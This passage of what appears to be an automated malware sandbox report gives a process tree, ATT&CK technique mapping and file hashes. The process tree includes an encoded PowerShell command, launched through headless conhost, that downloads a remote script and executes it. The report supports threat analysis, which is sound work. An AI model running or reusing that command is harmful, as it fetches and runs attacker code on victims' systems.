      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6168,i,16445238973528022756,1908466385180806250,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=6864 /prefetch:14
      4⤵
      PID:3052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5976,i,9455077095832031267,5402313768810920976,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14
      4⤵
      PID:4496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2400,i,14529688097946063239,6907770172961914451,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
      4⤵
      PID:436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,6387523582378000969,16551883737096009881,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=1936 /prefetch:14
      4⤵
      PID:3228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6220,i,10229439684825178807,17704274832974795913,262144 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:10
      4⤵
      PID:5596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,15428375781803449473,9400898065627106412,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:14
      4⤵
      PID:5312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,6557936981636584372,1873958752869878121,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=1196 /prefetch:14
      4⤵
      PID:1516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=920,i,12627986332509465990,2185180369216097072,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:14
      4⤵
      PID:6432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2744,i,4892550560914319636,2405264897536542278,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:14
      4⤵
      PID:3904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1980,i,6863751775236691181,9053170699852293083,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:14
      4⤵
      PID:6480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5884,i,15486304612071219374,1715143634477877018,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=3024 /prefetch:14
      4⤵
      PID:4284

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3656

C:\Windows\System32\conhost.exe
conhost.exe --headless conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAaQBFAHgAIAAoAGkAUgBNACAAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABqAHUAbgBlADIAMAAyADYALgBiAGwAbwBnAHMAcABvAHQALgBjAG8AbQAvAC8ALwAvAC8AdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAcABjAC4AbABmAHcAbwApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ACAAfAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAA0ADEAOAA2AA==
1⤵
- Suspicious use of WriteProcessMemory
PID:4556
- C:\Windows\System32\conhost.exe
  conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAaQBFAHgAIAAoAGkAUgBNACAAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABqAHUAbgBlADIAMAAyADYALgBiAGwAbwBnAHMAcABvAHQALgBjAG8AbQAvAC8ALwAvAC8AdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAcABjAC4AbABmAHcAbwApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ACAAfAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAA0ADEAOAA2AA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAaQBFAHgAIAAoAGkAUgBNACAAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABqAHUAbgBlADIAMAAyADYALgBiAGwAbwBnAHMAcABvAHQALgBjAG8AbQAvAC8ALwAvAC8AdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAcABjAC4AbABmAHcAbwApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ACAAfAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAA0ADEAOAA2AA==
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:6640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 d27158eebf482333709292486790045376be986643b5bf9f8e823c47416e03c5
MD5 48cbaca9a0f53de2b3ca305171aaa474
SHA1 d512958b854013e14a6864979ecacbc18a58e543
SHA512 d8e9599cce41df3234ab8a1d0415f89d57aa6a938386a511ded24cbc36c3292b01cf672a4affdf11881d0046bbc056c4079baeeca74b5ccfa649aae23d8c9547
TLSH
T161D0C07437286C02C52231718C20C300B6F980342399C0023201C10C4C7F4829347006
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 78b24b2d65b9be0f6df01dc52b04a154c849f693b62d1b21bab7d0153c5dbf7a
MD5 f6c762ff1fc2835061a946c193b86a58
SHA1 8b6959e685f406f6b5c02e5dbb3e732a4cea1400
SHA512 bce2d2e20b5093d4d770da02bf6da132ba7b6fc1e0faa61640af9880059deb3b22d94646e733851679b4e98ab66ee842b8a2d54e67422bd9b0139ad68dec04f3
TLSH
T190D0807437696C02C56635B59814C700B6F99535239AC5027251D14D5C7F486E747146
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 357B
SHA256 6dd25d45bb3bebe8ad413e71ac7169fa9d775b1fd5152fd9fc3743cb15c6ae7c
MD5 15048c43641fbedd503f82c47ebc9929
SHA1 04f8e043aa60f9f22873e0a557937d1a590561ce
SHA512 ec6b5c2fabfe765e33b136e0755bfe0c746635100278a39813797f89f1a3314c511b67c4b841fc671fd7571560d2e35e0698306a1711157be51219cf5bf4408c
TLSH
T138E0264E63F5C5E41206D8CAA159F3BE419374A995CC6CBD7A86B0DA39800009B674F0
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001
Size 268B
SHA256 ae99fdfc3fbac7deff206af98556f3993f1c3f40fe1176939f3effc93833bc8d
MD5 9683ee0effa2bfca240118d3a9a92e68
SHA1 7f5846f3cd2adc8fd0788f67733e1a66a9a4502d
SHA512 063dd8a1a4838b395fcd50939ca3e5b24ac72a8407ffd4463838b0b2ee5bb8d41938609e4216ead91f6f1a45a694113987c815ba88fb7d83f6eb6cc2fa33d737
TLSH
T194D02B9AFDEC9E5ED7E41ABD5BA5B4000A4802A2840B9B1300747EC03495AF01E25030
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 98670046943479c8e28dbeecb6e125e73703de48f8898307d341730b5c929e15
MD5 29e5230615ca909d090a4e241caa0c1e
SHA1 e1426ca2bd89057c76727b5390a627248e478f3c
SHA512 b0419e3ae612436a5e1048eb096d91c44549da74ef13b2ca1abd9107ac0d0a3940afe2f3dd7bc26bbb26f1bccd7711ceb3cac7c4671f63775d40d827642d3bc3
TLSH
T138F0F9AAC831AC3718FE1B1864645746EB50131B2781995B3B3D820C8FB053B455592C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 2db6aafe9264f9508778bbb294768dc13c59e06c3e5ace0502cd9fbf4a548407
MD5 ecc3ea1347da2a4279d84dfc94d433a1
SHA1 f2ee9e406236082625bb04083e526b573eab5f98
SHA512 5f6bf98000b26d405a2b50179d66445f33374a1c0875f531e6151a1bf599851fd154619a1f775f793462544616b581adabbd9f821a1f26c8a80db84a1f937b86
TLSH
T15C713C3F6D813C29FB663DF414D24CA8FFE0A89649772F0E4D44D0F5C84A3286A550A3
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58fbff.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58fbff.TMP
Size 3KB
SHA256 e70be8d98397cf7925baf5a4d7779f00229cacca4213fa43b232aa2e0b8f9f48
MD5 2c097178b684ccd3439c5f357597f8c7
SHA1 7dc609ace8817aaaac02f94d29701b1eb992257b
SHA512 d0529bc256e0d5d2871797103dacf83026d27c283b6c879f3f9ee8c9ed50083cca3e579b645d8dea3e51d3445f599298f20f493fe75337d91f956ad97ef52ee0
TLSH
T1CD61297F6D822C29F7A53DF414D25CA8FFE0A896497B2F1E8C84D0F4C84A3289B41063
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 901682077510e9893675fb9470bdbd56ce2c1d1435f456d8b313fed60c0e1df9
MD5 9a403d3330d29bc1ba88f5437d76af97
SHA1 6b9da9ef1adf58c57063823f9db0f82bf21d6774
SHA512 6130a206f35cddeb152b69cba7ed999ca4603ab1cc977033118d2a4512ddf2295e9d44e5be6042af3ae26c98723eaf0c37efc1af8c1e45706977eb67e9af0826
TLSH
T16C51C0F7C3E4856D991196F0BA186E2BCE1D0914432C3D5AC8E0AF1B93E3471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 7ff8245de684bb08b37a9e17ff55b0bd0f4b6a64ccfd842f899dc3cff2fd66b3
MD5 df6eaf4d731e7e376282c5d587bf8ea8
SHA1 bb9e44f8407569abad2d77b8a427797edd5df96e
SHA512 46e5b889d5289aa5dfbbf03df56f55847d38ab1c02d3b515872ee9c7ea30838d7652a66e3ea80d534a6ad51a855d375fbb9295b0337bd05628c605b684f90dbc
SSDEEP 384:sxRYOC8/f+sX6qdBaSRiMke5/5ImCOCsXVjI:sMD8/fkqdEDV0/5ImesX2
TLSH
T1D372D8166538997BCCCBD219FA457F93D6F91573A2905E48AAFC8A0C01E76DC211383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 5410813685ee74b9d4ab822ab9771985ef4d93a794910d35670000a39b8c5f9c
MD5 946bb091ae74f041e1a223fc5be83e90
SHA1 1506eabaf47f6027636e137531d599504ef63625
SHA512 d5c365588dc2890ee7032526324d9d8bb7ab810adcac63b71216254cc3fddd5143561416b417ddeceeb33b97be807637575cbffe3c9c88963084d46aea312f86
SSDEEP 384:sxRYOqa8/f+sMqkBaSRiMke5/5ICOCsXVQd:sMxa8/fOqkEDV0/5IesXG
TLSH
T17D72D7166938997BCCCBD219FA857B93D6F91573A1905E48AAFC8B0C01E76DC211383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 5191f5d504e33f48f53b24b57833ccef9fcfd692cd52b826edbbc0fe5f27ba9f
MD5 91afd003b5788c8aacae0589cf0be42b
SHA1 131dbcae41d1caebdc8bec76af21b1b182764738
SHA512 9e411a80c277e01509b93471427e9ac82dc6a1422ab5bab873da932b3fccc240d25a61cf2e74e3a25914824aebfde8b575273285eada093f6bce149fed7baaad
SSDEEP 768:PRbg3u7pLuL75sWgtVfwp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVH5okUfYHrodzBc:PRbg3uE75sWgtVfwpu1jaG5okoYUdu
TLSH
T1ACE2ED7B680CCB7F4F804EDCEC2ABE9A6DD802CB56D8C95447EA840C03C66EB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 bb4bf29c6c2846ea77d4e9ba561165dd7a46808490d707e76007bc2a852f2958
MD5 54f597caa0660a189ee59af1a2a517e0
SHA1 7b74f303199d271d89cf27701ccc4aca6f8dfc4a
SHA512 d5d0ad5b2c6f0fc2f152a538c12584584d91bad01f04dc1e6aa866276134b31e2e635866b29a9d5c52414750b80b7f8c91008fcfeb101fd895c91430e92b4709
SSDEEP 384:9Xu7n9ZdQBcLfDd3Vof/sVnuRMFxn//mv6hRRL3bKlk4aIs/e/n/i/5/5/p/T3/B:63bU/YVVlTv7Id1gr17Ajd7OLmb2BrBL
TLSH
T1CAB28C5171BA2B00383D290E93B9881F5A46306230DEA97B7B6931E56F67F004FFD6D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 87f08a6f69f4db9a9348e6f9c1c3ee90a6a5f704d8e119b0a9a8032d8e25cd8e
MD5 83e52930573065abc8fc83ac49d6d85e
SHA1 f4bc0f28a96841ecd0dfcd2b28c3f480aa3d1e49
SHA512 cf79960e0d82c1e8ee6b8282549476e7232b3fc9a47fc8f1efebec08f352ad66fee114ddc560ab9014af2233e19ebf0a67abfc48a676df4e82d9ad6092f998e1
SSDEEP 384:n9iF1tNn/s3n9SO8Nr8TUNTUlIRw0zXw+POfosG7cJah9jaeF1XbryCGOObjI9GI:0F1j+9HewggBGQJah9OejHyCG29Ms
TLSH
T12ED24A36D854DE77ECE68BD9B74A3686EEE012A7858C5AC8EAD85E4C00C719D070BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 fdc261b20aaf09eef8d097372130ea7289fb39ec236f44badcb7f1dc7f9f0d8d
MD5 2d14700094608627e5d0e1f1aa180272
SHA1 3f5b7507b3b86f9d9e61cd788085540901fa464c
SHA512 291c214b1b41d5ef5469ff9757baee4cf2683e7e19b1bcb1715861d29a0729e76159e022c817b01502cc289b5fb86299005a8ccd269c870f22514a8ba455b1bb
SSDEEP 384:nTiF1tNn/s3n9SM8Nr8TUNTUlIRw0zXw+POfosG7cJah9jaeF1XbryjGOObjI9GI:+F1j+95ewggBGQJah9OejHyjG29Ms
TLSH
T1AED24B32D854DE77ECE68BD9B75A3687EEE012A7858C5AC8EAD85E4C00C71DD070BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 d4d05b76438284921ae849f613ccb763de3c0ff4500adbaabdaf1abbd3111b09
MD5 35f21a1dc5c6f7d0fcb16f710d78c2e2
SHA1 90a8a9ca778647b0066c9b65ef0d1e87113f2020
SHA512 f0c9dbb0191ce30d11dc56fc3d78ca7906899106d54af15a0b6367e245bd0bac5e187a049d0120642d167995cf882c7d1c52d8d34dd86640380312353e64e40a
SSDEEP 384:n3iF1tNn/s3n9SO8Nr8TUNTUlIRR0zaw+POfosG7cJah9jaeF1XbryCGOObjI9Gd:yF1j+9HewgCBGQJah9OejHyCG29Mx
TLSH
T140D25B32D854DE77ECE68FD9B74A3686EEE01267858C5AC8EAD85E4C01C71DD070BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 d5c0a20e6e3091f681d13a790610c95e7c716a4e8076347d862a2b63b094ec48
MD5 9abcfbb3de1ffc33bed1324f9ee13003
SHA1 8f21618393a0d795aa9e3d0e33ffaa7acc4b49c4
SHA512 1334e29c52c10b33ddc195c7ca42e723f908e408ebc63180c334537ba0cf4055274cd9d008dae461fd240360261f5e01d63bfa2cffcc4f642156f3916a7b4ff9
SSDEEP 384:nniF1tNn/s3n9Sv8NC8TUNTUlIRG0zvWoPOfosG7cJah9jaeFYimn15wbAjEJW85:iF1j+9SbwgYvGQJah9Oeaimn12bfJL
TLSH
T138C23936D858CE77EDE68FC9B74A7646EEE0016785D85AD8DAD80E8C01C729D130BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

well_known_domains.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Well Known Domains\1.2.0.0\well_known_domains.dll
Size 572KB
SHA256 2778063e5ded354d852004e80492edb3a0f731b838bb27ba3a233bc937592f6e
MD5 f5f5b37fd514776f455864502c852773
SHA1 8d5ed434173fd77feb33cb6cb0fad5e2388d97c6
SHA512 b0931f1cae171190e6ec8880f4d560cc7b3d5bffe1db11525bd133eaf51e2e0b3c920ea194d6c7577f95e7b4b4380f7845c82eb2898ad1f5c35d4550f93a14b6
SSDEEP 6144:XbBXgDO9CyiiKPFv3GPkDNiTHoIDiXkCBIvzVXCfwX5pWr+W1gUe3h576:XbBQDwi5FvGPkDNirYBIvzVXCoXWiWr
TLSH
T130C49E02B7D846A8D07AD0748A574642EA76BC950F74A6DF02E0B27D2F77BE45B3E310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 3e2e8cc1df195c33330a260e18260d98cfc130a1bd0401e49575e0cec8369b15
MD5 2136a6c6c6b55034f5b673431d9e9f33
SHA1 d7b25638e2ef055c351f1e5d9673f6e53c6857f8
SHA512 9843580665c071b2c640570299e5c8be333ee0fba381fdd575a42c3aa29daca6995f52da2d7834434f26c8ec949e863e19d4f2604dbb10f0cdabc6b4c66f8d41
TLSH
T1D03144E15C3D1AD1C4BE0DBFE04B35FC84D8D212F49434392888EDA8462D91E254047F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 3d5924161cc3c8dd1f2dcef1f9479ed0fcdcc7e3a5870bee397fc89ac594fa04
MD5 be90922667d19ce51a14f2a0294935aa
SHA1 ea952b14e961291dd921cbeda0e55eeb993aa895
SHA512 a1ee1ecdbba75d4cb1af819814a9da09c566d3086f8ab7513bb718027daa8808acb4e02a03f273b5906afe65a5f11a8d02aae2d26e0b92755734944981e008cf
TLSH
T1C84100E15C3D5AD1D0BD0E7EB49B38FC85ECD726F490343D2898EA98462E65D258143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 d7d43c3dc42e7b8c4aac08532320df0165e950dc90946ec7056311c944ac572b
MD5 210a68fd274eade38f68ca29cee0f78c
SHA1 6257e1bb16feb8d67b88ba62b5e2338c09f97616
SHA512 4502e59e0c20b03b54662be40fe46791eb78a1c164bf6320f3ff8341877cd248066cebdfdfd1b411fab0fbb0a7bdd0df556774e7f98aa3c51370a5ff48b13e1d
TLSH
T1A24110E19D3D1AD1D0BD0EBFB48B35FC94E8D626F49434392898ED58862DA1D258043F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 eeff9f164b5ea9c062860e27aefff20c9449bbbdaecea0bb995e42e84e9b0ce0
